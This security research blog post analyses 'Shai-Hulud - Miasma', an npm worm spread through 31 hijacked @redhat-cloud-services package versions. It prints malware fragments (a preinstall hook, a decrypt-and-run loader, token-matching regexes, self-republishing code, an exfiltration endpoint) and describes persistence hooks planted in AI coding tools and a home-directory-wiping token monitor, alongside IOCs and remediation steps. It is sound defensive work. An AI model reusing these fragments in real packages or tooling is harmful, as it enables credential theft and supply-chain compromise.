Shai-Hulud - Miasma: The Spreading Blight Hits Red Hat npm Packages

Guy Korolevski, JFrog Security Researcher | 1 Jun, 2026

JFrog Security Research analyzed a new Shai-Hulud variant affecting 31 hijacked @redhat-cloud-services npm package versions. The analyzed sample was @redhat-cloud-services/types version 3.6.1, but the same hijacking wave affected a broad set of Red Hat Cloud Services frontend and client packages.

This is not a typosquatting campaign. The packages belong to a legitimate namespace and were abused as trusted delivery vehicles. The malicious versions execute during installation through an npm lifecycle hook, before application code imports anything from the package. The payload identifies this wave through a GitHub dead-drop repository description: Miasma: The Spreading Blight.

We will focus on what changed in the Shai-Hulud - Miasma wave. Much of the final payload overlaps with the Shai-Hulud payload family we described in our previous analyses, Shai-Hulud: Here We Go Again and Shai-Hulud Returns: npm Worm hits @antv in latest ongoing campaign: broad credential collection, encrypted exfiltration, GitHub dead-drop fallback, npm abuse, GitHub Actions workflow manipulation, AI-tool persistence, and a destructive token monitor. The important differences are the delivery chain, staging format, exfiltration disguise, and campaign marker.

The affected packages are all under @redhat-cloud-services, a namespace commonly used by Red Hat Cloud Services frontend components, clients, and tooling. The analyzed sample presents itself as a type package, with main and types pointing to TypeScript declarations, but its package metadata includes a hidden install-time execution path:

{
  "name": "@redhat-cloud-services/types",
  "version": "3.6.1",
  "scripts": {
    "preinstall": "node index.js"
  }
}

This is a strong signal by itself. A type-only package does not normally need to run a JavaScript installer before installation completes. In this case, the preinstall hook launches a heavily obfuscated loader that unwraps the Shai-Hulud payload.

The hijacked package versions are listed in the IOC section. The campaign includes @redhat-cloud-services/chrome, @redhat-cloud-services/frontend-components, multiple generated API clients, MCP packages, shared utilities, and @redhat-cloud-services/types.

The delivery chain starts with a single large JavaScript file invoked by node during preinstall. Its first layer reconstructs JavaScript from a large numeric character array, applies a ROT-style transform, and evaluates the result. This hides the next stage from simple static scanners while keeping the package valid enough for npm installation.

After this wrapper is removed, the next stage decrypts two AES-128-GCM blobs. One blob is a small Bun bootstrapper under /tmp/b*.js and the other is the main Shai-Hulud payload. The loader writes the main payload to a transient file under /tmp/p*.js, runs it with Bun, and deletes the file afterward.

const bunBootstrap = decrypt(...);
const mainPayload = decrypt(...);

const payloadPath = `/tmp/p${Math.random().toString(36).slice(2)}.js`;
fs.writeFileSync(payloadPath, mainPayload);

if (typeof Bun !== "undefined") {
  execSync(`bun run "${payloadPath}"`, { stdio: "inherit" });
} else {
  await eval(bunBootstrap);
  execSync(`"${getBunPath()}" run "${payloadPath}"`, { stdio: "inherit" });
}

fs.unlinkSync(payloadPath);

The bootstrapper downloads Bun from GitHub releases if the runtime is missing, using bun-v1.3.13 builds for Linux, macOS, and Windows. This makes the payload less dependent on the victim having Bun installed beforehand. It also changes the telemetry defenders should expect: an npm install can lead to node, then curl and unzip, and then bun run executing a temporary file.

The final payload is a Shai-Hulud variant. Its core behavior matches the family we previously analyzed: it steals local and cloud credentials, searches for GitHub and npm tokens, abuses GitHub Actions identities, propagates through npm packages and GitHub repositories, and installs persistence on developer machines.

Rather than repeat the full collector analysis, the meaningful differences in this wave are:

Area Previous Shai-Hulud wave Miasma wave
npm execution Bun payload embedded in package.json Bun payload embedded inside obfuscated index.js
Staging Large obfuscated Bun bundle embedded directly Numeric-array wrapper, ROT transform, AES-128-GCM staging, transient /tmp/p*.js execution
Direct exfiltration Endpoint disguised as telemetry traffic under t[.]m-kosche[.]com Legitimate Anthropic API host with a non-standard /v1/api path used as camouflage
GitHub dead-drop marker Campaign strings such as Shai-Hulud: Here We Go Again Public repositories described as Miasma: The Spreading Blight
Payload family behavior Credential theft, GitHub dead-drop exfiltration, npm/GitHub propagation, AI-tool hooks, token monitor Same final payload family with updated delivery and campaign marker

The name Miasma: The Spreading Blight is not an external label added by researchers. It appears in the payload logic as the description for attacker-created public GitHub repositories used for exfiltration. That makes it a useful campaign marker for hunting and for distinguishing this wave from earlier Shai-Hulud activity.

Once running, the payload performs the same broad collection expected from modern Shai-Hulud variants. It collects shell environment variables, host identity, username, local credential files, and GitHub CLI tokens through gh auth token. It searches for GitHub personal access tokens, GitHub fine-grained tokens, GitHub Actions tokens, npm tokens, cloud credentials, private keys, Docker credentials, shell histories, .env files, and other developer secrets.

The payload includes provider-specific collectors for AWS, Azure, GCP, Kubernetes, Vault, and password managers. In cloud environments, this means the malware is not limited to static files on disk. It can query metadata services, enumerate secrets from services such as AWS Secrets Manager and SSM Parameter Store, retrieve Azure Key Vault secrets, read GCP Secret Manager values, and enumerate Kubernetes secrets when the current identity has permission.

The GitHub Actions behavior is especially important. As in the previous Shai-Hulud wave, the payload can target CI runners and attempt to recover secrets from the runner environment and process memory. This can bypass log masking because the secret is read from the runtime context rather than printed in workflow logs.

Representative token patterns searched by the payload include:

{
  githubClassic: /gh[op]_[A-Za-z0-9]{36}/g,
  githubFineGrained: /github_pat_[A-Za-z0-9_]{22,}/g,
  npmToken: /npm_[A-Za-z0-9]{36,}/g,
  githubActionsJwt: /ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g
}

The direct exfiltration path in this sample is configured to look like traffic to Anthropic:

domain: api.anthropic.com
path: v1/api
port: 443

The configured destination is hxxps[:]//api[.]anthropic[.]com/v1/api. This appears to be a legitimate Anthropic services API host, not attacker-owned infrastructure. A plain GET request to this URL returns Anthropic's API-style 404 not_found_error, indicating that /v1/api is not a normal working API route.

This suggests the attackers used the URL primarily as camouflage: the domain looks legitimate in network logs, while the path is shaped like an API endpoint. The sample does not prove compromise of Anthropic infrastructure.

This makes the indicator operationally different from a typical C2 domain. Blocking the entire host may not be practical in organizations that legitimately use Anthropic services, while allowing it without inspection can create a blind spot. Defenders should therefore hunt for the full path, unusual request shape, unexpected clients during npm installation, and node or bun processes contacting api[.]anthropic[.]com from developer machines or CI runners.

The payload also retains the GitHub dead-drop model seen in previous Shai-Hulud waves. If it has a usable GitHub token, it can create a public repository under the victim account and commit result files under results/results-\<timestamp>-\<counter>.json. Repository names follow an \<adjective>-\<noun>-\<number> pattern, while the repository description is set to:

Miasma: The Spreading Blight

When the payload includes a stolen token in a commit message, it uses the threat marker:

IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner

This is another direct connection to the Shai-Hulud family. The wording changed across waves, but the operational meaning is the same: responders should not revoke exposed GitHub tokens before isolating infected hosts and removing persistence.

The npm propagation path activates when the payload finds npm credentials with sufficient publish permissions. It queries npm token metadata, determines writable packages through token scopes and package ownership, downloads package tarballs, injects a wrapped copy of itself, modifies package.json, bumps the patch version, and republishes the result through the npm registry.

The mutation is designed to be small but effective:

pkg.scripts ??= {};
pkg.scripts.preinstall = "bun run index.js";
pkg.dependencies ??= {};
pkg.dependencies.bun = "^1.3.13";
pkg.version = `${major}.${minor}.${patch + 1}`;

The payload also contains an npm trusted-publishing path. In GitHub Actions environments, it can use ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL to request an OIDC token for npm:registry.npmjs.org, exchange it at the npm registry, and publish through the obtained identity. This is the same core risk we highlighted in the previous Shai-Hulud analysis: provenance can show where a package was built, but it cannot prove that the build environment was clean.

On GitHub, the payload can enumerate repositories writable by the stolen token, modify GitHub Actions, and target JavaScript action repositories. One path converts a JavaScript action into a composite action that installs Bun and runs the injected payload from the action directory. Another path injects workflows intended to expose repository secrets as artifacts.

The Miasma sample includes local persistence through both operating-system launch mechanisms and developer tooling. On Linux, it can install a user-level kitty-monitor.service; on macOS, it can install com.user.kitty-monitor.plist. The monitor polls GitHub commit search for signed instructions and can download and execute follow-on Python payloads.

The payload also targets AI and developer tools by scanning for writable settings files related to Claude, Codex, Gemini, Copilot, Kiro, and opencode. It can write a local payload copy under ~/.config/index.js and add session-start hooks that install or invoke Bun and rerun the payload. It can also add VS Code folder-open tasks that execute a setup script when a repository is opened.

The destructive token monitor remains the most dangerous remediation trap. The payload can install gh-token-monitor, store a stolen GitHub token and a handler, and poll hxxps[:]//api[.]github[.]com/user. If the token becomes invalid, the stored handler can run destructive shell commands such as deleting the user's home directory and Documents folder.

For incident response, the order matters: isolate affected machines and runners first, remove persistence, preserve forensic evidence, and only then revoke tokens from a clean system.

JFrog Curation customers using an immaturity policy were fully protected from this attack, as all of the hijacked packages were flagged in less than 24 hours. Curation has automatic compliance version selection (CVS) mechanism to ensure developer and CI/CD seamless fallback to compliant (non-malicious) versions.

The full, updated list of relevant packages in this campaign is also available through the JFrog Catalog label - “Miasma: The Spreading Blight”

  • Identify projects, lockfiles, CI logs, package caches, and container images that installed any affected @redhat-cloud-services package version listed in the IOC section.
  • Remove compromised package versions with npm uninstall \<package> and reinstall verified clean versions. Regenerate lockfiles from trusted metadata.
  • Temporarily use npm ci --ignore-scripts in CI where lifecycle scripts are not required, and quarantine newly published package versions until reviewed.
  • Isolate affected developer machines and CI/CD runners before revoking GitHub tokens, because token invalidation may trigger destructive persistence.
  • Preserve disk images, npm cache, shell history, process telemetry, CI logs, GitHub audit logs, and package publish history for forensics.
  • Stop and remove kitty-monitor persistence on Linux and macOS, including ~/.config/systemd/user/kitty-monitor.service, ~/.local/share/kitty/cat.py, and ~/Library/LaunchAgents/com.user.kitty-monitor.plist.
  • Stop and remove gh-token-monitor persistence, including ~/.config/gh-token-monitor/, ~/.local/bin/gh-token-monitor.sh, ~/.config/systemd/user/gh-token-monitor.service, and ~/Library/LaunchAgents/com.user.gh-token-monitor.plist.
  • Inspect developer-tool settings for injected hooks or folder-open tasks, especially .claude/settings.json, .claude/setup.mjs, .vscode/tasks.json, and ~/.config/index.js.
  • Review GitHub accounts and organizations for newly created public repositories with the description Miasma: The Spreading Blight, result files under results/, unexpected workflow changes, forced tag updates, and commits with messages such as chore: update dependencies, fix: ci, or IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner.
  • Audit npm accounts and organizations for unexpected patch-version publishes, added preinstall scripts, added Bun dependencies, and root-level payload files.
  • After persistence removal is verified, rotate GitHub tokens, npm tokens, GitHub Actions secrets, cloud credentials, Kubernetes service account tokens, Vault tokens, Docker credentials, SSH keys, password-manager credentials, and any secrets exposed to affected machines or runners.
  • Rebuild affected CI runners, containers, and developer workstations from clean images where compromise cannot be ruled out.

Shai-Hulud - Miasma is a continuation of the same supply-chain threat model, but with a new delivery shape and campaign marker. The payload does not only steal secrets from local files. It treats developer machines and CI/CD runners as launch points into GitHub, npm, cloud providers, Kubernetes, and downstream package consumers.

The Red Hat namespace hijacking also shows why package reputation alone is not enough. These were legitimate-looking packages in a trusted scope, and the malicious behavior occurred before application code had to import them. Lifecycle scripts, newly published versions, and unexpected runtime dependencies remain critical inspection points.

These malicious packages are detected by JFrog Xray and JFrog Curation. Package-specific XRAY IDs should be inserted in the IOC section before publication once assigned.

Package Xray ID Versions
@redhat-cloud-services/chrome XRAY-993950 2.3.1
@redhat-cloud-services/compliance-client XRAY-993937 4.0.3
@redhat-cloud-services/config-manager-client XRAY-993938 5.0.4
@redhat-cloud-services/entitlements-client XRAY-993945 4.0.11
@redhat-cloud-services/eslint-config-redhat-cloud-services XRAY-993941 3.2.1
@redhat-cloud-services/frontend-components XRAY-993928 7.7.2
@redhat-cloud-services/frontend-components-advisor-components XRAY-993939 3.8.2
@redhat-cloud-services/frontend-components-config XRAY-993946 6.11.3
@redhat-cloud-services/frontend-components-config-utilities XRAY-993930 4.11.2
@redhat-cloud-services/frontend-components-notifications XRAY-993948 6.9.2
@redhat-cloud-services/frontend-components-remediations XRAY-993933 4.9.2
@redhat-cloud-services/frontend-components-testing XRAY-993935 1.2.1
@redhat-cloud-services/frontend-components-translations XRAY-993944 4.4.1
@redhat-cloud-services/frontend-components-utilities XRAY-993949 7.4.1
@redhat-cloud-services/hcc-feo-mcp XRAY-993926 0.3.1
@redhat-cloud-services/hcc-kessel-mcp XRAY-993925 0.3.1
@redhat-cloud-services/hcc-pf-mcp XRAY-993931 0.6.1
@redhat-cloud-services/host-inventory-client XRAY-993947 5.0.3
@redhat-cloud-services/insights-client XRAY-993943 4.0.4
@redhat-cloud-services/integrations-client XRAY-993922 6.0.4
@redhat-cloud-services/javascript-clients-shared XRAY-993923 2.0.8
@redhat-cloud-services/notifications-client XRAY-993942 6.1.4
@redhat-cloud-services/patch-client XRAY-993924 4.0.4
@redhat-cloud-services/quickstarts-client XRAY-993934 4.0.11
@redhat-cloud-services/rbac-client XRAY-993927 9.0.3
@redhat-cloud-services/remediations-client XRAY-993936 4.0.4
@redhat-cloud-services/rule-components XRAY-993929 4.7.2
@redhat-cloud-services/sources-client XRAY-993920 3.0.10
@redhat-cloud-services/topological-inventory-client XRAY-993940 3.0.10
@redhat-cloud-services/tsc-transform-imports XRAY-993932 1.2.2
@redhat-cloud-services/types XRAY-993921 3.6.1

  • hxxps[:]//api[.]anthropic[.]com/v1/api - configured destination on a legitimate Anthropic API host; plain GET returns 404 not_found_error, suggesting camouflage rather than attacker-owned infrastructure.
  • hxxps[:]//api[.]github[.]com/search/commits?q=firedalazer - GitHub commit-search C2 used by kitty-monitor.

  • 7069e28a5806db4ab0273639667d203f5e31b401d403af7e36d9f360c1f6d655 - malicious package metadata for @redhat-cloud-services/types version 3.6.1.
  • b86c5ae9e95bd841a595440faa3eb6317441e746f241ae8fd641ab59ed1d1966 - obfuscated install-time JavaScript loader in the analyzed package.

  • /tmp/p*.js - transient Bun payload path.
  • /tmp/b-*/bun - downloaded Bun runtime.
  • /tmp/b-*/bun.exe - downloaded Bun runtime on Windows.
  • /tmp/b-*/b.zip - downloaded Bun archive.
  • /tmp/.bun_ran - Bun execution marker.
  • /var/tmp/.gh_update_state - kitty-monitor state file.
  • ~/.local/share/kitty/cat.py - Python payload used by kitty-monitor.
  • ~/.config/systemd/user/kitty-monitor.service - Linux user service for kitty-monitor.
  • ~/Library/LaunchAgents/com.user.kitty-monitor.plist - macOS LaunchAgent for kitty-monitor.
  • ~/.config/gh-token-monitor/token - stored GitHub token monitored by the dead-man switch.
  • ~/.config/gh-token-monitor/handler - stored dead-man switch handler.
  • ~/.local/bin/gh-token-monitor.sh - GitHub token monitor script.
  • ~/.config/systemd/user/gh-token-monitor.service - Linux user service for gh-token-monitor.
  • ~/Library/LaunchAgents/com.user.gh-token-monitor.plist - macOS LaunchAgent for gh-token-monitor.
  • ~/.config/index.js - local payload copy used by developer-tool persistence.
  • .claude/settings.json - possible AI-tool hook target.
  • .claude/setup.mjs - possible AI-tool persistence setup file.
  • .vscode/tasks.json - possible folder-open persistence target.
  • .github/setup.js - possible repository payload file.
  • _index.js - possible workflow payload filename.

  • Miasma: The Spreading Blight - attacker-created GitHub exfiltration repository description.
  • results/results-*.json - exfiltrated result file path in GitHub dead-drop repositories.
  • format-results - GitHub Actions artifact name used for secret dumping.
  • format-results.txt - GitHub Actions artifact file used for secret dumping.
  • Run Copilot - suspicious workflow name.
  • release - suspicious publishing workflow name when paired with the other IOCs.
  • chore: update dependencies - propagation commit message.
  • chore: update dependencies [skip ci] - propagation commit message variant.
  • fix: ci - workflow-related commit message.
  • IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner - token invalidation threat marker.
  • OIDC_PACKAGES - workflow environment variable used by propagation logic.
  • WORKFLOW_ID - workflow environment variable used by propagation logic.
  • REPO_ID_SUFFIX - workflow environment variable used by propagation logic.
  • VARIABLE_STORE - workflow environment variable used for dumping GitHub Actions secrets.
  • bun run _index.js - injected workflow execution command.
  • bun run $GITHUB_ACTION_PATH/index.js - injected GitHub Action execution command.

  • node index.js
  • bun run /tmp/p*.js
  • curl -sSL hxxps[:]//github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
  • unzip -j -o b.zip
  • gh auth token
  • ps aux
  • tasklist
  • systemctl --user enable --now kitty-monitor.service
  • launchctl bootstrap gui/\<uid> ~/Library/LaunchAgents/com.user.kitty-monitor.plist
  • python3 \<tempfile_from_github_commit_monitor>
  • npm install bun
  • curl -fsSL hxxps[:]//bun[.]sh/install | bash